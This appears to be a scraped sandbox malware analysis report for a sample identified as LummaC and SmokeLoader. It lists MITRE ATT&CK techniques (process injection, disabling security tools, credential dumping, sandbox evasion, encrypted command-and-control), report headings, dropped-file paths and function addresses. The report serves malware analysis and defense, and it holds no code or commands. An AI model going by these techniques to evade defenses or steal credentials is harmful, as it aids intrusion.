Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: SmokeLoader

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_EDBC.exe_e1d68d6de7e65ab8f5fe3cfa7228d85fdd39528_0bc9349f_180f0519\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB17.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBB4.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBE4.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6E11.exe.log

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

C:\Users\user\AppData\Local\Temp\6E11.exe

C:\Users\user\AppData\Local\Temp\EDBC.exe

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

C:\Users\user\AppData\Roaming\aueuggs

Windows Analysis Report
file.exe

Function 004012AB Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 392
COMMON

Function 004014F4 Relevance: 10.7, APIs: 7, Instructions: 181
nativeCOMMON

Function 00401501 Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Function 00401528 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Function 0040153C Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre